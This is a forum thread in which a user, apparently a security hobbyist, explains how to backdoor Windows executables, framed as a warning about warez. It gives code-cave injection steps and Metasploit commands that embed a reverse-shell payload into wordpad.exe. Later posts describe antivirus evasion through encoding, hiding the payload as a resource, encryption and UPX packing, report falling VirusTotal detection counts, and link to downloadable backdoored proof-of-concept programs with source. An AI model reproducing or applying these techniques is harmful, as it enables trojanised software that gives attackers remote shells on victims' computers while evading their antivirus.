Jump to content











Photo

Backdoors - The easy way

backdoor malware infection metasploit warez

  • Please log in to reply
41 replies to this topic

#1 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 26 February 2012 - 10:36 PM

The updated PoC v4; http://www.mediafire...73jrifcdywydkg2
DigSigExec; http://www.mediafire...8s9ee49qrnoyms0
Payload2CallWindowProc; http://www.mediafire...5624160mxc6apg8
RemoteWinExec; http://www.mediafire...wsrsdzd2qdacp5k
Session0Injectors; http://www.mediafire...b6kmtv3qt63d6n1

Some people tend to download and run programs without much concern. Some people even download warez, keygens and cracks, just to find out that they got a shareware program for free. Wow! But think about it. If you wanted to install backdoors (or whatever malware), warez would be a great way of getting it installed.

So what is a backdoor? It is usually thought of as a means of someone from remote to get access to your computer. Either a listening port for someone to connect to (standard shell), or an outbound connection to hand over a shell to a remote listening port (reverse shell), or just some other way to grant unauthorized users access. The protocol used to communicate over (regarding shells) can of course vary and are limited by creativity and skills (tcp, dns, icmp, etc).
So how do you get shellcode? Get Metasploit, it has lots of shellcode that you can generate with confguration. When you have your shellcode, you will need to inject it into a program (infect). Basically code injection is about;
  • Locate a place with enough 00's inside the PE image to put the shellcode (a code cave).
  • Identify OEP and insert a jump to code cave.
  • Place original code at old OEP in front of shellcode.
  • At end of shellcode, put a jump back at instruction right after the jump that pointed to the shellcode (for simplicity think of it as OEP+1).
  • Now program execution should jump immediately to shellcode when program strats, and then return to normal execution when shellcode is finished (debuggers are useful).
That's the basic steps to inject shellcode into a program, and have it execute when program starts and then return to original programs execution when shellcode is finished. Depending on the type of shellcode injected, there might be a need for extra clean-up after the shellcode in order to let the execution continue normally after it's done. Since this particular clean-up task may not be trivial, we might just use a new Metasploit module that does it all in one go (actually quite brilliant!). Compared to the above "infection steps" this module works slightly different. It creates its own section instead of locating code caves, and makes it for that reason rather easy to spot such an infected program, when launched into a pE editor. There is a last section added (with new EP) that seems to always be named something randomly but limited to a mixture of 4 alpha characters (ie something like ZPrM or ikZx). This section is added after the resource and/or relocations section, which no decent compiler on earth would ever do.

The module works great most of the times, but has a few bugs. My experience is that sometimes the infected program crash. So with this tool it is now a nobrainer to create an effective backdoor. So don't you think it's a great way to install such backdoors, when hiding them inside cracks or precracked programs? Sure it is! And that's what was the main purpose of this thread: To show why warez may be devastating to you or your system (and not forgetting the legal issues about it). Maybe not even limited to warez, so think about it next you download and execute something you don't really know what is. Other tutorials found may cover how to create such exe's undetectable for AV, by using other modules in Metasploit. However that would not affect the easy sections table detection trick..

In my test I ran Metasploit v4.3.0-dev.14649. Using the browser GUI apparently required a license, so I just used the msf console which has always worked great.

Commands used:


help

show payloads

use windows/shell_reverse_tcp (use a payload)

info (info on usage)

set lhost 127.0.0.1 (set variable)

set lport 4444 (set variable)

generate -h (help on payload generation)

generate -k -t exe -x wordpad.exe -f wordpad_mod.exe

(templates param x = msf3datatemplates)

(output param f = msf3)

generate -t raw -f raw.bin (can be launched in my ShellCodeExecGUI)

nc -l -p 4444 (for testing with netcat if our modified wordpad_mod.exe works)


You may wonder why lhost and lport with a reverse shell.. I guess there an error in the module and it should say rhost and rport, so never mind just think of l* as r* for this particular payload.

Also I thought a Windows tutorial was about time, as most if not all are linux based.

Edit: Tools posted in this thread are now put this into the reboot download section; http://reboot.pro/16550/
  • Nuno Brito and florin91 like this

#2 amalux

amalux

    Platinum Member

  • Tutorial Writer
  • 2813 posts
  •  
    United States

Posted 26 February 2012 - 11:12 PM

Are you saying this wouldn't be flagged as mal-ware by good AV? Can you supply a 'test' infected program for us to check?

#3 sambul61

sambul61

    Gold Member

  • Advanced user
  • 1568 posts
  •  
    American Samoa

Posted 26 February 2012 - 11:14 PM

Thanks, very interesting. Since many Reboot readers are from pure countries and I guess may still use some keygens etc. despite your warning, are their any effective ways you can suggest to such readers to find out if a given package indeed contains backdoors and such?

#4 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 27 February 2012 - 08:30 PM

Most good AV would detect them! But by manual tweaking it is possible to achieve magics.. Here's a few links covering what makes these exe's detected and what can be done to overcome it.

http://www.sans.org/...t-payloads_2134
http://www.scriptjun...generates-exes/
http://www.coresec.o...-for-backtrack/
http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html#!/2011/04/execute-metasploit-payloads-bypassing.html
http://schierlm.user.../avevasion.html

Most notably, fully automated and working solutions where reported working up until a few months ago. It is interesting reading in those links!!

#5 sambul61

sambul61

    Gold Member

  • Advanced user
  • 1568 posts
  •  
    American Samoa

Posted 27 February 2012 - 08:37 PM

Thanks, will read. Still better, if you can give a brief outline here. :) Also, if selecting a right web browser can protect one from being attacked? I mean, if you can write a bit about particular web threats, you seems to know a lot about the subject. :yammer:

#6 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 27 February 2012 - 08:58 PM

Thanks, will read. Still better, if you can give a brief outline here. :) Also, if selecting a right web browser can protect one from being attacked? I mean, if you can write a bit about particular web threats, you seems to know a lot about the subject. :yammer:

I don't think there exist something as I brief outline on the subject. It starts simple with a few commands in Metasploit, but quickly gets rather complicated when digging into the world of Reverse Engineering and all kinds of other trickery to combine and further complicate detection. Don't confuse this thread with web threats. This was only meant to cover backdooring executables, nothing more, and I really don't know more about web threats in general than the average joe anyway. So yes I find exe's interesting, and when I get time I could try to put together a realworld example (hopefully with a nice twist).

#7 florin91

florin91

    Frequent Member

  • Team Reboot
  • 197 posts
  •  
    European Union

Posted 27 February 2012 - 09:01 PM

Are you suggesting that even using services like http://malwr.com, Virustotal and http://anubis.iseclab.org could not be seen as dangerous and crypters could make them 100% undetectable from antiviruses? I scan them when I am suspicious. About the browser, what could the browser protect against a keylogger / trojan "virus"? Maybe against a stealer.

#8 sambul61

sambul61

    Gold Member

  • Advanced user
  • 1568 posts
  •  
    American Samoa

Posted 27 February 2012 - 09:07 PM

Luckily though, keygens are small and easily uploaded into Virustotal. I wonder still, if a trojan in RAR file can deliver any damage later without that file being unpacked...

There are also various forms of social engineering employed by trojan writers and distributors. For example, they often inform users that AV show false positive detection..., and even instruct to uninstall or block AVs before running a keygen. Users need to be aware of such tactics...and don't follow these instructions.

#9 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 27 February 2012 - 09:13 PM

Are you suggesting that even using services like http://malwr.com, Virustotal and http://anubis.iseclab.org could not be seen as dangerous and crypters could make them 100% undetectable from antiviruses?

No. Just that actions can be taken to minimize chances of your exe from being caught. That's why I posted those links to give you something to think about. I'm sure that something interesting can be done to these exe's..

#10 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 28 February 2012 - 11:34 PM

Here's some test results to give you a rough idea about AV detection. I generated payload with reverse shell and some nonstandard variable values, and no encoding. Target was wordpad.exe on XP SP3.
Surprisingly the results vary in regards to 2 and 3...

#11 sambul61

sambul61

    Gold Member

  • Advanced user
  • 1568 posts
  •  
    American Samoa

Posted 28 February 2012 - 11:43 PM

May I ask, what do you mean under Manual Rebuild? Does it mean, any trojan writer can modify it in a way to make undetectable with current AVs until they are updated? If this is the case, how long does it take to update DBs of all AVs after one of them or VirusTotal detects a new threat? How difficult the Manual Rebuild, will the virus retain its main intended purpose after such rebuild?

You're absolutely right IMHO in distributing knowledge about this.

#12 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 28 February 2012 - 11:55 PM

May I ask, what do you mean under Manual Rebuild? Does it mean, any trojan writer can modify it in a way to make undetectable with current AVs until they are updated? If this is the case, how long does it take to update DBs of all AVs after one of them or VirusTotal detects a new threat? How difficult the Manual Rebuild, will the virus retain its main intended purpose after such rebuild?

You're absolutely right IMHO in distributing knowledge about this.

Of course it is possible to create bad programs that few AV detect with little effort. More disturbing is the fact that such a Metasploit generated exe (that even a retard (realistically a skriptkiddy) can generate) is ONLY DETECTED BY 22/43.

#13 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 29 February 2012 - 07:32 PM

Some interesting finds;

It appears that Metasploit generated payloads like described above, will have its detection rate vary depending on the context in which the binary data is located. This is probably a general rule and not Metasploit payload specific. What I did was generate the payload and put it in different areas of a program. If the payload is placed as a resource in the executable, the detection rate dropped considerably. So detection varied depending on if payload was isolated, at EP in exe, or as a resource in exe. Encoding with shikata_ga_nai and iterations at 2 or more also had an affect. In fact, on the virustotal scan detection was at 0-1/43 when finetuned. As a PoC, I'll try to show an undetected reverse shell based on these payloads. Ok, so it's no longer exactly a nobrainer, but still not that hard..

#14 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 29 February 2012 - 11:06 PM

Here*s the PoC; http://www.mediafire...y5v8iz20vhib77j

This particular program is AutoIt compiled and shows how a simple msgbox program actually can contain a reverse shell. It connects to localhost:6789, so fire up netcat or similar before starting the program. The AV detection makes no sense what so ever, because it relates to the fact that we are dealing with an AutoIt exe and nothing else. A simple HelloWorld program with a bogus txt resource added gave 3/43 in detection and none of those AV's are the ones that detected the raw payloads in first place :poke: Anyways, you get the point that I raised in the previous post. A little creativity and you could easily fool lots of people. Maybe not always count on your AV. Read more in the readme included in the download. Wonder when it gets flagged by the more solid AV's? Of course IPS/IDS is a different matter (corporate)..

#15 sambul61

sambul61

    Gold Member

  • Advanced user
  • 1568 posts
  •  
    American Samoa

Posted 29 February 2012 - 11:12 PM

How would a packaged exploit get activated on one's PC - what triggers it? Once activated - will its activity be then detected by AV or FW? How to improve chance of that activity (not the exploit itself) being detected when occurs?

#16 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 29 February 2012 - 11:29 PM

There is no exploit here, but simply a payload (the reverse shell). Point is that apps of any kind are downloaded and executed in enormous amounts. The social engineering part substituted the exploit part. Don't know exactly how you would go about detecting it, but evaulation of the resources would be a good start. Then an evaulation of what the program actually does, would also do. Traditional content scanning (regarding the payload) would not be smart as it could be encrypted. Real-time detection based on behaviour could possibly catch it, ie outbound connection. My updated AVG installation had no clue about it..

For testing you can launch it inside a vm, if in doubt. I guess I could upload x64 binaries tomorrow together with the source. Actually, it is rather easy to substitute the payload with a different for the testing. Just substitute the RCDATA resource named PAYLOAD (plenty of space has been reserved for it).

#17 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 01 March 2012 - 11:15 PM

Updated version: http://www.mediafire...uu3fbkonukg59xd

The new version is changed in that encryption is added to the payload. Included is descriptions on how to replace the payload with any custom one. Source is also now attached. The 64-bit version has bugs so is not included. Will look into it when time though. Read through the short readme!

#18 nimda

nimda
  • Members
  • 4 posts
  •  
    United States

Posted 02 March 2012 - 12:24 AM

Hell yes, avast! :P

Edited by nimda, 02 March 2012 - 12:25 AM.


#19 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 02 March 2012 - 06:01 PM

Here's something to think about:

The PoC version 2 I posted was detected by 6/43. As I already stated earlier that had nothing to do with the fact that this executable did in fact contain a backdoor/trojan (whatever you call it). Now try upx compressing the exe (all other the same) and suddenly detection dropped to 1/43! Seriously, upx has been around since the stone age and should strictly not affect detection. Anyways, it shows how lame certain AV are, especially those that flagged the original based on it being AutoIt compiled. Draw the logic yourself..

#20 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 04 March 2012 - 12:12 AM

Here's new version; http://www.mediafire...cxg8d6qimae0izg

@nimba
The Avast bug is fixed. That was due to the embedded exe in the resource section. Simple compression solved it. And it was a very general alert, that really had nothing to do with the reverse shell. Please test again.

Some more finds are described in the readme.

Most notably, when trying to protect an executable with some thing like Themida many AV will flag it. Have not tested it, but will thus also expect other commercial protectors to be detetced in the same way, unless there prevails some discrimination. I was also suprised to see that bad code hidden in the digital signature of executables (see my DigitalSignatureTweaker), was not detected at all. So I guess they all do a little bit of a shortcut when scanning, and can improve it.

Better descriptions are also now included to help in reassmbling the exe with a different payload.

The syntax also chaned slightly, and now only requires the decryption key as parameter.

#21 ericgl

ericgl

    Frequent Member

  • Expert
  • 314 posts
  •  
    Israel

Posted 04 March 2012 - 03:13 PM

Here's something to think about:

The PoC version 2 I posted was detected by 6/43. As I already stated earlier that had nothing to do with the fact that this executable did in fact contain a backdoor/trojan (whatever you call it). Now try upx compressing the exe (all other the same) and suddenly detection dropped to 1/43! Seriously, upx has been around since the stone age and should strictly not affect detection. Anyways, it shows how lame certain AV are, especially those that flagged the original based on it being AutoIt compiled. Draw the logic yourself..


Which AV was it that managed to detect the "hacked" file?

#22 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 04 March 2012 - 04:23 PM

@ericgl
I don't remember. Scan it yourself and see.

Just noticed the PoC v3 now was at 3/43. It is funny to see how they pick up on it. :) But for the fun, I'll see what the detection is based upon. It could be as lame as a file hash, for which they completely failed at identifying the core problem. I get back to it..

#23 MrChucong™

MrChucong™

    Member

  • Members
  • 59 posts
  • Location:Small City
  • Interests:Life Or Death
  •  
    Vietnam

Posted 04 March 2012 - 05:50 PM

use kis

#24 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 04 March 2012 - 08:38 PM

I was almost impressed by the way Kaspersky solved the issue at the core, until I realized how lame their detection routine actually is. :poke: A good hint for them: it is not a named function that is the evilness here, it is the code inside it.. ;)

#25 joakim

joakim

    Silver Member

  • Team Reboot
  • 912 posts
  • Location:Bergen
  •  
    Norway

Posted 04 March 2012 - 11:57 PM

Version 4; http://www.mediafire...73jrifcdywydkg2

Added 64-bit support and KIS fix.





Also tagged with one or more of these keywords: backdoor, malware, infection, metasploit, warez

0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users